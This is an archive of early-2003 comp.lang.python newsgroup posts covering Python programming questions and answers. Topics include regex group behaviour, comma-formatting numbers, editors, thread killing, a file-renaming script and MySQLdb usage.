Avery Andrews wrote:
> Are there instructions anywere for compiling win32 extensions to Python
> 152?  All of the links to David Ascher's tool for this that I can find are
> broken (at least at the moment), and the docco is incomplete.
> 
> Thanks
> 
>  Avery Andrews
> 
You should be able to use CVS to pull, by tag, the last 1.5.2 release 
(which I can't remember now).

Later ones may also work with some tweaking, but the very latest are 
unlikely to, as I started using Python 2.0 isms.

Mark.




From sdahlbac at abo.fi  Wed Jan  8 11:09:32 2003
From: sdahlbac at abo.fi (Simon Dahlbacka)
Date: Wed, 8 Jan 2003 18:09:32 +0200
Subject: PIL - gif image
Message-ID: <3e1c4d71@newsflash.abo.fi>

I don't know if there's something I've missed in the docs or what, but how
do I translate the index I get from getpixel(xy) into a real color, i.e. rgb
values? I'm trying to get hold of the real color values of a particular
pixel in a paletted image.. (gif)

Simon





From Kyler at news.Lairds.org  Thu Jan  2 01:25:40 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Thu, 02 Jan 2003 06:25:40 GMT
Subject: HELP! Must choose language!
References: <20021229230751.24148.00000389@mb-bj.aol.com> 	 <yyyk7hrikh9.fsf@adams.patriot.net> 	 <mailman.1041328146.32598.python-list@python.org> 	 <3E12642D.6382DC5A@alcyone.com>  <yyyhecsfok4.fsf@adams.patriot.net> <mailman.1041467285.23495.python-list@python.org>
Message-ID: <sisce-ch5.ln1@news.lairds.org>

Cliff Wells <LogiplexSoftware at earthlink.net> writes:

>Easy solution:  tell them you need $800 to buy the Python development
>system.  Download and install Python, pocket the money, tada: everyone's
>happy.  They might be even happier if you tell them that they'll have to
>fork over licensing fees for every application shipped ;)

And next month, when you're falling behind in your work and your
credit card bills..."Sorry, I'm not going to be able to finish
the project on time.  We discovered a bug.  We're going to need
to buy the upgrade...and maybe a service agreement..."

I'm still amazed that people get *anything* of value accomplished
with proprietary software.

--kyler



From tim.one at comcast.net  Sat Jan 11 12:16:02 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sat, 11 Jan 2003 12:16:02 -0500
Subject: How do I get to *all* of the groups of an re search?
In-Reply-To: <5tq5f-8k3.ln1@news.lairds.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEAIDIAB.tim.one@comcast.net>

[Kyler Laird]
>>> Yes, and that surprises me.  It seems so obvious that it [a regexp
>>> group] should return all matched pieces and so arbitrary that it
>>> only returns the last one.

[Tim]

>> It would take potentially unbounded storage to remember all matches,

[Kyler]
> O.k.

>> and would also (at least) complicate the meaning of backreferences
>> (what is \1 >supposed to match then?  "a list" of all strings ever
>> matched by group 1?

> Yes, that is what I have suggested.

I don't think so.  You expected that .group(n) would return a list of all
substrings matched by group n, but that's a different question than what the
regular expression component \n should match.  If you mean what you say
here, then \1 as a regular expression component could never match anything
if group 1 matched more than once ("a list" doesn't match "a string").

>> the catentation of them?

> Lists seem a whole lot more appropriate.  Why would you
> eliminate the possibility of accessing them individually?

I'm not asking about what .group(1) should return, but about what the
backreference \1 should match *while* regexp search is in progress.  I think
you're missing this issue.

>>> ...
>>> Regardless, do you find it useful?  Can you think of any time
>>> when you want to match a bunch of things and just end up with
>>> the last one?

>> Sure.  For example, finding the last component of a path expression,
>> in>order to isolate the file name, is a common application.

> That's readily done using simple REs without depending on this
> behavior.

Of course, but what of it?  As you replied to another poster who pointed out
that there are other ways to do what you want, you don't care, you want what
you want.  Likewise people want their existing code to continue to work,
except possibly even more than you like to argue <wink>.

> ...
> Yes, I can understand that developers are already programmers
> and have been tainted by other languages.

You misunderstand, then.  The success of Perl5 in promoting a specific
regular expression notation was a major practical triumph, establishing a de
facto standard in an area previously splintered into hundreds of
irritatingly different dialects.  Perl6 will apparently splinter it again,
but sanity was fun while it lasted <0.9 wink>.

> I'm advocating the use of Python for people who have not learned
> other languages.

Then you're doing them a great disservice by pointing them toward regexps at
all.  They're a miserable (difficult to understand, use correctly, and
debug) subsystem for any newbie to tackle.  They survive because they can be
powerful in expert hands, and a casual newbie is best advised to copy an
expert's regexp if they feel they need to muck with regexps at all.  For
that practical newbie use case, uniformity of meaning across languages'
regexp notations is a great help -- it vastly increases the odds that "copy
and paste" coding will work for those without deep understanding of the
subject.

> They won't have the experience to look at a piece of Python
> documentation and say "Oh, but surely they don't mean *that*."

If they also have the humility to read all the docs before presuming they
understand any of it, no problem -- it's documented multiple times.  If you
actually write docs for newbies, you'll know that newbies also space out
easily when too much info is presented.  Repeating all relevant pieces of
info at every point isn't friendly to newbies either.





From sholden at holdenweb.com  Sat Jan 18 10:43:14 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sat, 18 Jan 2003 15:43:14 GMT
Subject: Newbe: password program
References: <eDcW9.7243$V75.2394@nwrddc02.gnilink.net>
Message-ID: <mCeW9.5334$bs2.1365@news2.central.cox.net>

"pavs" <vze33v6m at verizon.net> wrote in message
news:eDcW9.7243$V75.2394 at nwrddc02.gnilink.net...
pavs> #Modify a password guessing program to keep track of how
pavs> #many times the user has entered the pasword wrong.
pavs> #If, it is more than 3 time, print "That must have been complicated."
pavs>
pavs> # ------------------------------------------------------------------
pavs>
pavs> #Waits untill password has been entered. Use Control -C to break out
witho
ut
pavs> # the password
pavs>
pavs> #Note that this must not be the password so that the while loop runs
atlea
st once
pavs>
pavs> password = "pavs"
pavs> count = 0
pavs>
pavs> while password != "unicorn":
pavs>     print "Wrong Password"
pavs>     password = raw_input("Password:")
pavs>     count = count + 1
pavs>
pavs>
pavs> print "Welcome in"
pavs> if count > 3:
pavs>     print "That must have been hard"
pavs>
pavs> :)
pavs> I think the program works.
pavs>
pavs> If so, than this would be my first workable program without outside
help :
)
pavs>
pavs> Python is so much FUN!
pavs>

Congratulations! You're right, Python *is* fun.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/





From eppstein at ics.uci.edu  Fri Jan 17 14:51:29 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Fri, 17 Jan 2003 11:51:29 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net>
Message-ID: <eppstein-FD9776.11512917012003@news.service.uci.edu>

In article <yyywul3skw6.fsf at adams.patriot.net>,
 Nick Vargish <nav at adams.patriot.net> wrote:

> def commafy(val):
>     """Return val as string with commas every thousandth place."""
>     val = str(val)
>     ret = ''
>     c = 0
>     for i in range(len(val) - 1, -1, -1):
>         if c and not c % 3:
>             ret = ',' + ret
>         ret = val[i] + ret
>         c += 1
>     return ret

def triples(s):
    i = (len(s) - 1) % 3 - 2
    while i < len(s):
        yield s[max(i,0):i+3]
        i += 3

def commafy(val):
    return ','.join(triples(str(val)))

But actually, I think your original method doesn't work so well with 
negative numbers, here's a slight modification:

def triples(s):
    i = (len(s) - 1) % 3 - 2
    if i == -2 and s[0] == '-':
        yield s[0:4]
        i = 4
    while i < len(s):
        yield s[max(i,0):i+3]
        i += 3

def commafy(val):
    return ','.join(triples(str(val)))

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From aleax at aleax.it  Thu Jan 30 16:28:33 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 21:28:33 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com> <mailman.1043949408.14743.python-list@python.org> <JWd_9.105583$0v.3054327@news1.tin.it> <mailman.1043954707.30246.python-list@python.org>
Message-ID: <5Og_9.145723$AA2.5955682@news2.tin.it>

holger krekel wrote:

> Alex Martelli wrote:
>> holger krekel wrote:
>>    ...
>> > I think it's safer to skip "iteration" with an explicit
>> > 
>> >     isinstance(arg, (str, unicode))
>> > 
>> > check.  It's also simpler to read and understand.
>> 
>> And it breaks *EVERY* use of UserString -- a module in the
>> standard Python library, even!!! -- not to mention user-coded
>> string-like types and classes.  *shudder*.
> 
> sorry, but fewer scream-emoticons would suffice to make
> your point.

Not for an Italian forced to express himself _without_ moving
his hands about.

> However, it feels like an implicit kind of type-check.

Your feelings are a bit off here -- because types work
differently, e.g. UserString has NO type connection with
str -- but not by much: what it is is a PROTOCOL-check --
Python has no explicit notion of protocol but makes
substantial use of the notion under the cover (and if we
had protocol-adaptation in the language/library, life
would be sweeter).

Python does define (loosely) a sequence protocol, but,
alas for this case, strings and string-like thingies
also meet the sequence protocol and we DON'T want to
treat them as sequences in this context (and most other
application cases, in my limited experience and humble
opinion).  So we need to synthesize a "nonstringlike sequence
protocol" -- and for THAT, we need a "stringlike" protocol.

Identifying "stringlike" with "can be catenated to a
string" may seem like a daring leap, but think about
it for a second: why WOULD a non-stringlike sequence
ever WANT to be catenable to a string?  Your example:

> Maybe it's a "filename" class that allows iteration and
> allows __add__ with strings?

...seems somewhat far-fetched to me.  For any two
catenable sequences X and Y, given:

def catall(*n):
    for seq in n:
        for item in seq:
            yield item

surely catall(X, Y) should == catall(X + Y).  How
would this reasonable protocol constraint on sequence
catenation be met when X instantiates your hypothetical
class and Y is a string?


Alex




From lazypointer at yahoo.com  Sun Jan 26 01:43:12 2003
From: lazypointer at yahoo.com (Byron Morgan)
Date: Sun, 26 Jan 2003 06:43:12 GMT
Subject: design advice sought
Message-ID: <4sLY9.17$K84.1793197@newssvr15.news.prodigy.com>

My project:

An existing server taps the logged output of a real-time control system,
making the data available via inet.
Platform is Python 2.2.2 on W2k.

My application (my first effort in Python) monitors the data stream,
watching for critical events as well as maintaining status information on
roughly 100 control subsystems. I have reached the point where it does this
much pretty well, running all day. Next, I will add functions to send
messages via various transports (e.g., pager, cellular text, instant
mesaging) based on conditions and trends detected or analyzed.

I am seeking input on whether I should build all into a single app, which
may necessitate the use of threading, or use one or more companion apps to
handle the notification stuff. If separate applications are used, how best
to communicate (I assume sockets will do, but have no experience with this,
or with threads).

TIA,

Byron Morgan





From bokr at oz.net  Sun Jan 19 04:55:34 2003
From: bokr at oz.net (Bengt Richter)
Date: 19 Jan 2003 09:55:34 GMT
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <7xznpzv93c.fsf@ruckus.brouhaha.com> <wDZV9.138$bs2.110@news2.central.cox.net> <eLiW9.2041$m47.10510@news-server.bigpond.net.au>
Message-ID: <b0dsmm$st8$0@216.39.172.122>

On Sat, 18 Jan 2003 20:25:46 GMT, "Neil Hodgson" <nhodgson at bigpond.net.au> wrote:

>Steve Holden:
>
>> Here's my own non-reversing solution. Again, it would need tweaking for
>> negative numbers to avoid results like "-,123".
>>
>>     def commafy(val):
>> ...
>
>   Well we may as well try a one liner (almost):
>
>def commafy(val):
> u = str(val)
> return ''.join([u[i]+(['',',',''][(len(u)-i)%3]) for i in
>range(len(u))])[:-1]
>
>for i in [1, 12, 123, 1234, 12345, 123456, 1234567, 12345678]:
> print i, ":", commafy(i)
>
>   Mmm, Perl envy ...
>

 >>> def commafy(val):
 ...     return reduce(lambda x,c:[x[0]+c+','[:x[1]%3==1],x[1]-1],str(val),['',len(str(val))])[0][:-1]
 ...
 >>> for x in [1,12,123,1234,12345,123456,1234567,12345678]: print commafy(x)
 ...
 1
 12
 123
 1,234
 12,345
 123,456
 1,234,567
 12,345,678

Well, it's a one line expression, but it _is_ ugly.
Couldn't leave it at that. This one's an actual one-liner on my screen ;-)

 >>> def commafy(val): return val<1000 and str(val) or commafy(val/1000)+','+commafy(val%1000)
 ...
 >>> for x in [1,12,123,1234,12345,123456,1234567,12345678]: print commafy(x)
 ...
 1
 12
 123
 1,234
 12,345
 123,456
 1,234,567
 12,345,678

To handle negative numbers is a little longer:

 >>> def cfy(val):
 ...   return val<0 and '-'+cfy(abs(val)) or val<1000 and str(val) or cfy(val/1000)+','+cfy(val%1000)
 ...
 >>> for x in [1,12,123,1234,12345,123456,1234567,12345678]: print '%12s %12s' % (cfy(x),cfy(-x))
 ...
            1           -1
           12          -12
          123         -123
        1,234       -1,234
       12,345      -12,345
      123,456     -123,456
    1,234,567   -1,234,567
   12,345,678  -12,345,678

Regards,
Bengt Richter



From dan at control.com  Fri Jan  3 15:04:50 2003
From: dan at control.com (Dan L. Pierson)
Date: Fri, 03 Jan 2003 20:04:50 GMT
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <m3isx76i7j.fsf@wilma.local> <3E1599DF.F870DF68@engcorp.com>
Message-ID: <z1mR9.1175$fj.594002@news.randori.com>

On Fri, 03 Jan 2003 14:10:39 +0000, Peter Hansen wrote:

> Harry George wrote:
>> 
>> Let's stay on topic, which is editing for python.
>> 
>> I've trained up a dozen or so newbies on python over the last few
>> years.  I always offer them the option of their favorite editor.  We
>> get some vim, emacs, nedit, notepad, idle, jot, and others I can't
>> remember.  But when it gets serious, as in XP sessions (two people on
>> one keyboard), the emacs guys are far more productive.  As far as I can
>> tell, the vim guys are faster keystroke-by-keystroke, but the emacs
>> guys are more productive overall.  The notepad guys weren't productive
>> enough to be a fair sampling of the editor itself (they weren't really
>> programmers).  I haven't seen enough experienced idle or scintilla
>> people to have an opinion there.
> 
> To avoid interpreting your comments as pure mysticism, I would need to
> know specifically what features you find to be "far more productive"
> with emacs.
...

> On the other hand, moving from a trivial editor like Notepad in Windows,
> to something with proper automatic indentation gives me a huge increase
> in productivity, especially with Python.

Correct automatic indentation is a huge win.  In some ways it's even
bigger with languages like C where a simple indentation error can produce
code that behaves differently that it appears.

Other Emacs features that I find improve my productivity a lot:

1. Multiple windows in the Emacs sense (i.e. multiple panes of one
window).  Especially multiple windows showing different parts of one
file.  Way too many editors only let you look at one part of a file at a
time -- I find this causes me to either waste a lot of time moving around
the file or sacrifice readability for speed (and come back later and fix
it up).

2. IMenu!  That is an index menu of every function, class and method in
the file that is constantly available and quickly updatable.  Speedbar
is essentially the same thing with a more "Visual Studio" like look but
I find it slower, YMMV.

A few years ago I would have added the immediate execution features and
shell buffers.  Now I find that I frequently do that stuff in a separate
terminal window.  Maybe all those years of Windows without proper
subshell support in my Emacs caused some brain damage? :-)



From grante at visi.com  Sat Jan  4 23:21:31 2003
From: grante at visi.com (Grant Edwards)
Date: 05 Jan 2003 04:21:31 GMT
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk>
Message-ID: <slrnb1fctm.bl2.grante@localhost.localdomain>

In article <025d32cf-da98-4afa-ab9f-2f3f978a9c38 at news.szn.dk>, Klaus Alexander Seistrup wrote:
> Johan wrote:
> 
>> Anyone know some good Python editors under Linux?
>> With good color highlightning... :)
> 
> I've been using jed since 1995.

Me too.  Someday I need to do a little work on Python mode.  The handling of
quotes is a bit flakey.  I also need to figure out how to do block
indent/dedent (or add it if it's mission)

-- 
Grant Edwards                   grante             Yow!  I just remembered
                                  at               something about a TOAD!
                               visi.com            



From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 17:31:48 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 14:31:48 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <mailman.1043424035.17589.python-list@python.org> <7xisweedcd.fsf@ruckus.brouhaha.com> <3E3188BF.3C39D8CA@engcorp.com> <7xd6mme5dn.fsf@ruckus.brouhaha.com> <mailman.1043435527.21427.python-list@python.org> <7xel72qp8v.fsf@ruckus.brouhaha.com> <3E31BC48.5222547F@engcorp.com>
Message-ID: <7x65sew563.fsf@ruckus.brouhaha.com>

Peter Hansen <peter at engcorp.com> writes:
> > >   Whether a feature is supported *in the core language* and the
> > > *official distribution* -is- up to the language developers, though,
> > > especially in the case of free software.
> > 
> > Yes, indeed, the language developers are perfectly entitled to release
> > programs that don't live up to the marketing claims written by those
> > same developers.  However, nobody should then be surprised when users
> > complain that their expectations have been let down.
> 
> I agree.  Fortunately, as far as I can tell no one was surprised
> in this case when a user didn't have his expectations met.  I
> did see lots of explanations as to *why* he can't do what he wants,
> but very little suggesting surprise.
> 
> Anyway, the argument is kind of moot, isn't it?  Especially considering
> how often it has been raised, and how consistent the answer is to date.

There's an entry in Python's bug tracking system on Sourceforge about
supporting asynchronous exceptions in multi-threaded programs, showing
the developers consider it something worth looking for ways to
implement, rather than something that can't be done or something that
shouldn't be done for portability reasons.

Since the new "minimal Python" is supposed to be stackless (all
activation records are in the heap), maybe that implementation can
more gracefully deal with the problem of killing a thread failing to
unwind the C stack.




From neal at metaslash.com  Tue Jan  7 22:23:22 2003
From: neal at metaslash.com (Neal Norwitz)
Date: Tue, 07 Jan 2003 22:23:22 -0500
Subject: python 2.2.2 on hpux11.0
References: <461d4acb.0301061720.fe0bcfd@posting.google.com> <3E1A31E7.F8D69DEB@alcyone.com> <461d4acb.0301070808.6199fdfb@posting.google.com> <pan.2003.01.07.17.18.14.416351.9294@metaslash.com> <3E1B9308.D46FB6AA@alcyone.com>
Message-ID: <pan.2003.01.08.03.23.19.436077.9294@metaslash.com>

On Tue, 07 Jan 2003 21:55:04 -0500, Erik Max Francis wrote:

> Neal Norwitz wrote:
> 
>> On Tue, 07 Jan 2003 11:08:40 -0500, X3 wrote:
>> 
>> From what it looks like below, you have cached the configure options
>> from a different machine.  Try rm config.* and then re-running
>> configure/make.
>> 
>> If that doesn't work, you can do ./configure --without-gcc
> 
> It looks to me like the cc he has installed isn't the Real McCoy.

Ahhh, you must be lucky never to have worked on hpux. :-)

HP used to ship a non-ANSI gcc that wouldn't optimize either.
You had to pay extra if you wanted ANSI.  Maybe they still ship 
that crappy compiler and that's why he's having this problem.

> Worst case scenario, he could just install gcc.

That's a good point.  It would probably be easier.

Neal



From throwaway at mit.edu  Thu Jan 30 19:46:34 2003
From: throwaway at mit.edu (Alex Coventry)
Date: 30 Jan 2003 19:46:34 -0500
Subject: Segmentation fault??
References: <3E39794D.8030203@nipltd.com> <87u1fqs9bu.fsf@mit.edu> <3E39BD15.5080602@nipltd.com>
Message-ID: <87lm12rvrp.fsf@mit.edu>

yeah, i would definitely check the integrity of the memory, then.
there's a program memtest86 that'll do that for x86 architectures. 

alex.



From jzgoda at usun.gazeta.pl  Wed Jan 15 11:59:55 2003
From: jzgoda at usun.gazeta.pl (Jarek Zgoda)
Date: Wed, 15 Jan 2003 16:59:55 +0000 (UTC)
Subject: Pferdemarkt.ws informiert! Newsletter 01/2003
References: <mailman.1042634067.4519.python-list@python.org>
Message-ID: <slrn.pl.b2b49c.5oh.jzgoda@kotek.home>

webmaster at pferdemarkt.ws <webmaster at pferdemarkt.ws> pisze:
 
> http://www.pferdemarkt.ws
> 
> Wir sind in 2003 erfolgreich in des neue \"Pferdejahr 2003 gestartet.

What has python with horses in common?
Both start with "p" in German... (if I recall my lessons from school
days). ;)

-- 
Jarek Zgoda
http://www.zgoda.biz/
jabber:jarek at jabberpl.org|ICQ:178306476|GG:3422968|Tlen:jzgoda



From andy at eastonwest.co.uk  Mon Jan  6 18:57:52 2003
From: andy at eastonwest.co.uk (andy)
Date: Mon, 6 Jan 2003 23:57:52 +0000
Subject: help with counter
In-Reply-To: <83oj1v8eb814lev3bgtfqjpnpha92des1s@4ax.com>
References: <83oj1v8eb814lev3bgtfqjpnpha92des1s@4ax.com>
Message-ID: <200301062356.46140.andy@eastonwest.co.uk>

On Monday 06 Jan 2003 8:20 pm, Bill Carter wrote:
> I must have been looking at this problem for to  long, but I need some
> help because I am stuck.
>
> I have a series of files on disk   file.01.txt, file.02.txt ...
> what I am trying to do is rename all the files a new name but also not
> renaming a few files but maintaining the number sequence
>
> for example
>
> #sample command line
> pyrename.py file.01.txt file.400.txt  3 newfile.01.txt
>
> # breakdown
> script name / filename of first file / last filename / drop every 3rd
> file / new filename and start number
>
>
> should produce
>
> file.01.txt     	newfile.01.txt
> file.02.txt	newfile.02.txt
> file.03.txt
> file.04.txt	newfile.03.txt
> file.05.txt	newfile.04.txt
> file.06.txt	newfile.05.txt
> file.07.txt	newfile.06.txt
> file.08.txt
> file.09.txt	newfile.07.txt
> file.10.txt ...	newfile.08.txt...
>
> the filename changes the amount changes and the file to be dropped
> changes.
>
> For some reason I can't put my head around this problem.  Any help
> would be appreciated.
>
> BC

Bill some thoughts:

    change params to:

start-no finish-no drop-no old-format new-format  

use the % operator to mangle the output name

ie:

pyrename.py 1 400 3 file.%i.txt file.%i/txt

#pyrename
import os,string

# get params etc...
start_no=1
finish_no=10
drop_no=3
old_fmt="file.%i.txt"
new_fmt="new.fmt.%i.file"
dirname="/home/andy/pyrename.test"

########### processing starts here #########

# figure out where number is in name
specparts=string.split(old_fmt,".") # get the string bits
numpart=0
for part in specparts:
    if part[0]=="%": # this is it
        break
    else:
        numpart+=1

files=os.listdir(dirname) # you supply dirname

# drop unwanted filenames, ie, before start_no, after finish_no and 
# modulus drop_no
oldlist=files[:] # new copy of files list
for file in oldlist:
    fileparts=string.split(file,".")
    num=int(fileparts[numpart])
    # obliterate number part in fileparts to make comparison easy
    fileparts[numpart]=specparts[numpart]
    # remove if unwanted
    if fileparts<>specparts: # this file does not match spec
        files.remove(file)
    elif num<start_no or num>finish_no or (num % drop_no) == 0:
        files.remove(file)


# list now only has files we want in it
count=start_no
for file in files:
    new_name=new_fmt % count
    os.rename(dirname+"/"+file,new_name) # non portable path splice
    count+=1


############### end

test:
bash-2.05b$ cd pyrename.test/
bash-2.05b$ touch file.1.txt
bash-2.05b$ touch file.002.txt
bash-2.05b$ touch untouched.333.txt
bash-2.05b$ touch file.003.txt
bash-2.05b$ touch file.004.txt
bash-2.05b$ touch file.005.txt
bash-2.05b$ touch file.006.txt
bash-2.05b$ touch file.007.txt
bash-2.05b$ touch file.008.txt
bash-2.05b$ touch file.009.txt
bash-2.05b$ touch file.10.txt
bash-2.05b$ ls
file.002.txt  file.005.txt  file.008.txt  file.1.txt
file.003.txt  file.006.txt  file.009.txt  untouched.333.txt
file.004.txt  file.007.txt  file.10.txt
bash-2.05b$ python ../pyrename.py
['file.1.txt', 'file.002.txt', 'file.004.txt', 'file.005.txt', 'file.007.txt', 
'file.008.txt', 'file.10.txt']
bash-2.05b$ ls
file.003.txt  new.fmt.1.file  new.fmt.4.file  new.fmt.7.file
file.006.txt  new.fmt.2.file  new.fmt.5.file  untouched.333.txt
file.009.txt  new.fmt.3.file  new.fmt.6.file
bash-2.05b$






From lac at strakt.com  Fri Jan 24 19:47:59 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 25 Jan 2003 01:47:59 +0100
Subject: Looking for CORBA examples, or something better 
In-Reply-To: Message from Grzegorz Adam Hankiewicz <gradha@terra.es> 
   of "Fri, 24 Jan 2003 21:32:38 +0100." <20030124203238.GA2206@pedos.es> 
References: <20030124203238.GA2206@pedos.es> 
Message-ID: <200301250047.h0P0lxjL030565@ratthing-b246.strakt.com>

> Hi.
> 
> After a university brainwash of Java's RMI and Microsoft's COM, I'm
> looking for a python CORBA... interface? I mean, an example/module
> I should use to communicate to other CORBA objects.
> 
> CORBA is usually more code verbose than Java's RMI, because RMI
> knows it's talking to another Java. Is there something similar
> in Python? Something easier to write than CORBA but restricted to
> python. Maybe YAMI?
> 
> Please point me towards the juicy documentation (huh, google is
> unreachable from my end now)
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

I am not exactly sure what you want, but perhaps
http://omniorb.sourceforge.net/ is it. 

Laura Creighton




From andrew-pythonlist at puzzling.org  Wed Jan 29 19:12:46 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Thu, 30 Jan 2003 11:12:46 +1100
Subject: [OT] vi vs. vim
In-Reply-To: <b190jt$m1k$1@slb3.atl.mindspring.net>
References: <f210c9f3.0301281143.22c01152@posting.google.com> <mailman.1043799291.30192.python-list@python.org> <f210c9f3.0301290625.6ebe1aea@posting.google.com> <j6TZ9.100622$0v.2907983@news1.tin.it> <b190jt$m1k$1@slb3.atl.mindspring.net>
Message-ID: <20030130001246.GA12813@frobozz.local>

On Wed, Jan 29, 2003 at 09:47:52AM -0700, Andrew Dalke wrote:
> Alex:
> >Convert your boss to vim!  It can be used as a strict superset of
> >vi.  As a vi fanatic myself, I see NO reason to keep using the
> >old, limited vi, when vim's SO good these days.  vim can easily
> >be configured to expand all tabs to spaces, btw.
> 
> I know one person who has the source code to vi from about 15
> years ago.  When he goes on a new machine, he recompiles it.
> 
> I pointed out that vim exists, is more powerful and more featureful.
> 
> He replied that it changed one behaviour that he wants.  He would
> rather recompile (and tweak) the codebase he knows than to figure
> out a new one.
> 
> What's different?  I don't remember.  I have vague recollections
> that his copy of vi doesn't have multiple undo, and an undo twice
> is the same as an undo/redo.  vim has multiple undo, so acts
> different in that one respect.
> 
> I don't understand it either.

Someone told me something similar once.  I think it was that "uu" or "u." or
something like that in vi would undo, then redo, which is a convenient way
go back to the point in the source where you made the last change, without
changing it.  In vim (without tweaking the compatibility options), you'd
have to do "u" then ^R.

Personally, I'd rather have multiple undo :)

-Andrew.





From rudy.schockaert at pandora.be  Wed Jan 15 07:50:08 2003
From: rudy.schockaert at pandora.be (Rudy Schockaert)
Date: Wed, 15 Jan 2003 12:50:08 GMT
Subject: Binary search
Message-ID: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be>

Hi,

I'm looking for a function that allows me to do a binary search in a file.
By binary search I mean searching for a sequence of bytes and not the binary
search as in the Python Cookbook
(http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/81188)

Can anyone point me in the good direction?

Thanks in advacne,

Rudy







From mlh at furu.idi.ntnu.no  Sun Jan 19 16:04:31 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Sun, 19 Jan 2003 21:04:31 +0000 (UTC)
Subject: String methods understanding anything but ASCII?
Message-ID: <slrnb2m4mv.sq2.mlh@furu.idi.ntnu.no>

I just wondered -- is there hope that string methods such as upper()
or capitalize() will ever understand anything other than ascii? How
about, e.g. iso8859-1 (which does seem to be the default encoding)? As
a Scandinavian, I'd love to see '?'.upper() == '?', for example.
It seems that the only way of achieving this sort of thing at present
is through ugly hacks of various kinds (especially with methods such
as capitalize() and title(), where a plain translate() can't do the
job).

So -- is there any hope of this? Or are there any convenient ways of
dealing with it, or perhaps a library somewhere?

Perhaps some extra parameters to the methods would help -- like the
new one to strip and friends? For example, one could have two strings
with matching lower- and uppercase letters as optional extra
arguments? E.g:

>>> print '?'.upper()
?
>>> print '?'.upper('???','???')
?

The same parameter scheme could be used for capitalize(), title(),
istitle(), and so on, and so forth.

Seems like a nice compromise to me, i.e. you don't have to add the
domain-knowledge about various encodings to Python itself, but you
have means for supplying some to the methods...

Opinions? Does this warrant a PEP? Are there applications and/or
problems I haven't thought of?

-- 
Magnus Lie Hetland
http://hetland.org



From tdelaney at avaya.com  Sun Jan  5 22:36:00 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 6 Jan 2003 14:36:00 +1100 
Subject: Python vs Java garbage collection?
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A809@natasha.auslabs.avaya.com>

> From: maney at pobox.com [mailto:maney at pobox.com]
> 
> I don't understand what you're saying here at all.  Do you really mean
> that a Java programmer *cannot* implement reference counting in a way
> analogous to what can be done in, say, C++?  Of course there 
> are issues
> about letting references escape into non-counted contexts, and in Java
> one wouldn't be counting for the purpose of scavenging memory.

Consider the following case. Assume that Jython implements reference
counting on the Python side.

    import java.lang

    a = [1]
    b = java.lang.LinkedList()
    b.append(a)
    del a
    print b

At the `print b`, what state is b in? Finalisation has already been called
on the list that it contains as an element, because the java VM knows
absolutely nothing about reference counts. So when it tries to print it,
what happens? I don't know.

It's not just about memory scavenging. Any time a reference escaped into a
non-controlled environment things are likely to screw up.

The reason that CPython is able to deal with reference counts is because
meticulous care is taken in the core python VM code and extensions to
maintain the reference counts.

Tim Delaney




From pythonhda at yahoo.com.replacepythonwithlinux  Wed Jan 15 16:59:18 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Wed, 15 Jan 2003 16:59:18 -0500
Subject: Using list_dbs() and list_tables function of MySQLDB with python
References: <12fcb4be.0301150422.336d00a4@posting.google.com>
	<slrnb2al11.1f0.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <20030115165918.05ce3a58.pythonhda@yahoo.com.replacepythonwithlinux>

On 15 Jan 2003 12:34:40 GMT
Gerhard H?ring <gerhard.haering at opus-gmbh.net> wrote:

> sonu <u2_sonu at yahoo.co.in> wrote:
> > dear friends,
> > 
> > i m using list_dbs() and list_tables() function in my application but
> > finding a problem in running this code successfully.
> > 
> > The code i m using is:
> > # !/usr/bin/Python
> > import MySQLdb
> > hostname = "192.168.0.11"
> > username = "root"
> 
> Using the root user like this is a very bad idea.
> 
> > password = ""
> 
> With an empty password even more so.
> 
> > database = "test"
> > conn = MySQLdb.connect (hostname, username, password, database)
> > for db in conn.list_dbs():
